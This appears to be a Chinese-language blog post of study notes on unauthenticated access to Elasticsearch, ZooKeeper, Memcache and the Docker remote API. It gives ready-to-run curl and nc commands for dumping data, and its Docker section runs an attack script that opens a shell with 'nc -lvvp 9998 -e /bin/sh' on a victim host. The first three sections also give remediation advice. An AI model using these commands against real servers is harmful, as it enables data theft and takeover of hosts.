1. 程式人生 > 實用技巧 >漏洞學習記錄

漏洞學習記錄

CATALOG

1.Elasticsearch未授權漏洞

  1. 埠號
    9200/9300
  2. 漏洞介紹
    Elasticsearch服務普遍存在一個未授權訪問的問題,攻擊者通常可以請求一個開放9200或9300的伺服器進行惡意攻擊。
  3. 利用思路
    可用來讀取對應index裡面的資訊,可將其理解成一個數據庫每一個index就是一張表每一個type就是一個欄位,一個index裡面有很多欄位。
  4. 操作相關
    要利用這個漏洞,最重要的就是檢視資料,下面是elasticsearch基本的查詢方法

查詢所有的 index, type:

curl localhost:9200/_search?pretty=true
查詢某個index下所有的type:
curl localhost:9200/films/_search
查詢某個index 下, 某個 type下所有的記錄:
curl localhost:9200/films/md/_search?pretty=true
帶有引數的查詢:
curl localhost:9200/films/md/_search?q=tag:good
使用JSON引數的查詢: (注意 query 和 term 關鍵字)
curl localhost:9200/film/_search -d ’
{“query” : { “term”: { “tag”:“bad”}}}’
http://192.168.80.126:9200/_plugin/head/ #web管理介面
http://192.168.80.126:9200/_cat/indices #檢視叢集當前狀態
http://192.168.80.126:9200/_nodes #檢視節點資料
http://192.168.80.126:9200/_river/_search #檢視資料庫敏感資訊

  1. 實際操作
  • 直接訪問ip:9200
    在這裡插入圖片描述
  • ip:9200/_cat/indices/?v #查詢所有的index
    在這裡插入圖片描述
  • ip:9200/_mapping?pretty=true #查詢所有index與其對應的type
    在這裡插入圖片描述
  • ip:9200/index的名字/_search?pretty=ture #查詢對應index的type的具體值
    在這裡插入圖片描述
  1. 修復建議
    1、為elasticsearch增加登入驗證,可以使用官方推薦的shield外掛,該外掛為收費外掛,可試用30天,免費的可以使用elasticsearch-http-basic,searchguard外掛。外掛可以通過執行Biplugin install [github-name]/repo-name。同時需要注意增加驗證後,請勿使用弱口令。
    2、架設nginx反向代理伺服器,並設定http basic認證來實現elasticsearch的登入認證。
    3、預設開啟的9200埠和使用的埠不對外公佈,或架設內網環境。
    4、elasticsearch 早期版本在“CVE中文漏洞資訊庫”網站上已有部分漏洞被披露,建議使用1.7.1以上版本或使用最新版本程式。
    5、限制IP訪問,繫結固定IP
  2. 參考
    Elasticsearch未授權訪問漏洞

2.ZooKeeper 未授權訪問漏洞

  1. 埠號
    2181

  2. 漏洞介紹
    ZooKeeper是一個分散式的,開放原始碼的分散式應用程式協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要元件。它是一個為分散式應用提供一致性服務的軟體,提供的功能包括:配置維護、域名服務、分散式同步、組服務等。ZooKeeper的目標就是封裝好複雜易出錯的關鍵服務,將簡單易用的介面和效能高效、功能穩定的系統提供給使用者。

  3. 利用思路
    ZooKeeper預設開啟在2181埠,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感資訊,包括系統名稱、Java環境

  4. 利用相關
    zookeeper下載地址:http://archive.apache.org/dist/zookeeper/
    zookeeper視覺化管理工具下載連線:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

  5. 實際操作

  • echo envi|nc ip 2181#返回大量敏感資訊,host名等,下圖為節選
    在這裡插入圖片描述
  • 也可以使用圖形化介面查詢Zookeeper中的內容
    在這裡插入圖片描述
  1. 修復建議
    禁止把Zookeeper直接暴露在公網
    新增訪問控制,根據情況選擇對應方式(認證使用者,使用者名稱密碼,指定IP)
    配置防火牆策略,只允許指定IP訪問2181埠
    配置服務ACL限制IP訪問
  2. 參考
    Zookeeper 未授權訪問漏洞

3.Memcache未授權訪問

memcache是一套分散式的快取記憶體系統,它以Key-Value(鍵值對)形式將資料儲存在記憶體中,預設開放11211埠,使用nmap的指令碼進行掃描。

  1. 埠號
    11211

  2. 漏洞介紹
    memcache是一套分散式的快取記憶體系統,它以Key-Value(鍵值對)形式將資料儲存在記憶體中,預設開放11211埠,使用nmap的指令碼進行掃描。

  3. 利用思路
    直接使用nc進行連接獲取敏感資訊

  4. 利用相關
    stats 檢視memcache 服務狀態
    stats items 檢視所有items

  5. 實際操作
    在這裡插入圖片描述
    在這裡插入圖片描述

  6. 修復建議
    一、 因memcache無許可權控制功能,所以需要使用者對訪問來源進行限制。一般不需要外網訪問的,可以直接繫結本地127.0.0.1 即可,實現方式如下:
    [[email protected] ~]# vim /etc/sysconfig/memcached
    OPTIONS="-l 127.0.0.1" #設定本地為監聽
    [[email protected] ~]# /etc/init.d/memcached restart #重啟服務
    二、 當memcached 配置為監聽內網IP或公網IP時, 使用主機防火牆(iptalbes、firewalld等)和網路防火牆對memcached服務埠進行過濾。

  7. 參考
    未授權漏洞測試
    Memcache未授權訪問漏洞利用及修復

4.docker未授權漏洞利用

掃描出docker未授權漏洞後使用指令碼dockerRemoteApiGetRootShell.py進行攻擊。攻擊過程如下:

  1. 下載指令碼:下載地址
  2. 安裝依賴庫(基於python2)
    pip install -r requirements.txt
  3. 獲取受害主機shell
    python dockerRemoteApiGetRootShell.py -h ip -p 2375 # 獲取docker id
    python dockerRemoteApiGetRootShell.py -h ip -p 2375 -e “nc -lvvp 9998 -e /bin/sh” -I c60d6d45e76c7d3f9d7abae075cb77b4924bd7133eebddc59679f2a60eb32bc2 #反彈shell